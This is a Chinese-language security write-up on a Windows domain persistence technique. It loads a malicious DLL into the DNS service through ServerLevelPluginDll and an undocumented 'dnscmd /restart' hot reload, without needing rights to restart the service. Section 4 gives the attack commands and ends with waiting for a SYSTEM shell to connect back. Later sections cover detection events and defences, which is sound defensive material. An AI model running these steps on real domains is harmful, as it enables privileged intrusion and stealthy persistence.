基于dnsadmin的dns热重载后门权限维持
字数 1453 2025-08-27 12:33:22
DNSAdmin组权限维持与热重载后门技术详解
1. 技术背景
DNSAdmin组是Windows域环境中一个特殊的权限组,传统上被认为是域渗透中的常见提权路径。传统攻击方法通常需要服务重启权限,但最新研究发现通过DNS热重载技术可以实现更隐蔽的权限维持。
2. 传统DNSAdmin提权方法
传统方法通常包括以下步骤:
- 利用dnscmd.exe给DNS的ServerLevelPluginDll注册恶意DLL
- 设置监听等待回连
- 使用sc.exe重启DNS服务加载恶意DLL
局限性:DNSAdmin组默认不具备服务重启权限,需要额外权限配置。
3. DNS热重载技术突破
研究发现通过dnscmd.exe的隐藏/restart参数可实现无需服务重启权限的热重载:
3.1 技术原理
- 基于MS-DNSP文档中的R_DnssrvOperation命令
- 使用
dnscmd /restart触发内部重载而非服务重启 - 实现类似效果但权限要求更低
3.2 所需权限
研究发现执行热重载攻击需要:
- 对MicrosoftDNS容器的通用读取权限
- 写入属性权限
- 对DC的RPC访问权限(普通域用户即可)
注意:不一定需要DNSAdmin组成员身份,只要具备上述ACL权限即可。
4. 攻击实施步骤
4.1 环境准备
- 确认目标用户权限(DNSAdmin组成员或具备MicrosoftDNS容器ACL)
- 准备恶意DLL(需导出DnsPluginInitialize等必要函数)
4.2 攻击执行
- 注册恶意DLL:
dnscmd [DC] /config /serverlevelplugindll \\path\to\malicious.dll - 触发热重载:
dnscmd [DC] /restart - 等待SYSTEM权限shell回连
4.3 权限验证
- 使用PowerView验证MicrosoftDNS容器ACL:
Get-ObjectAcl -Identity "CN=MicrosoftDNS,CN=System,DC=domain,DC=com" | ?{$_.ActiveDirectoryRights -match "GenericAll|WriteProperty"}
5. 检测与防御
5.1 攻击特征
- 事件日志:
- ID 770(已加载服务器级插件DLL)
- ID 140(RPC终结点重复错误)
- 缺少常规服务重启日志(ID 7035/7036)
5.2 检测方法
- 监控dnscmd.exe异常使用
- 检查ServerLevelPluginDll配置变更
- 使用PowerView高危ACL筛选:
Find-DomainObjectAcl -Identity "CN=MicrosoftDNS,CN=System" -RightsControlAccess | ?{$_.ActiveDirectoryRights -match "WriteProperty"}
5.3 防御建议
- 限制MicrosoftDNS容器的写入权限
- 监控DNS服务器插件配置变更
- 实施dnscmd.exe的使用审计
- 定期检查DNS服务器加载的DLL
6. 技术特点分析
6.1 优势
- 无需服务重启权限
- 日志"噪音"小(不产生服务重启日志)
- 权限要求灵活(不一定需要DNSAdmin组)
6.2 局限性
- 会导致DNS管理平台功能异常(RPC终结点冲突)
- 产生特定事件ID 140错误
- 需要机器重启才能完全恢复DNS管理功能
7. 扩展研究
7.1 权限模型深入
- MicrosoftDNS容器的ACL控制比DNSAdmin组成员身份更关键
- 通用写入权限配置困难,但写入属性权限已足够
7.2 其他发现
- 标准AD审计工具(如BloodHound)可能遗漏System容器ACL
- PowerView等工具能更有效发现异常ACL
8. 参考资源
- MS-DNSP协议文档
- Yuval Gordon的相关研究
- Windows DNS服务器管理文档
- Active Directory安全最佳实践
9. 总结
DNS热重载技术提供了一种更隐蔽的权限维持方法,突破了传统DNSAdmin提权对服务重启权限的依赖。防御方需要关注MicrosoftDNS容器的ACL配置和DNS服务器插件加载行为,而攻击方可以灵活利用各种具备相关ACL的账户实施攻击。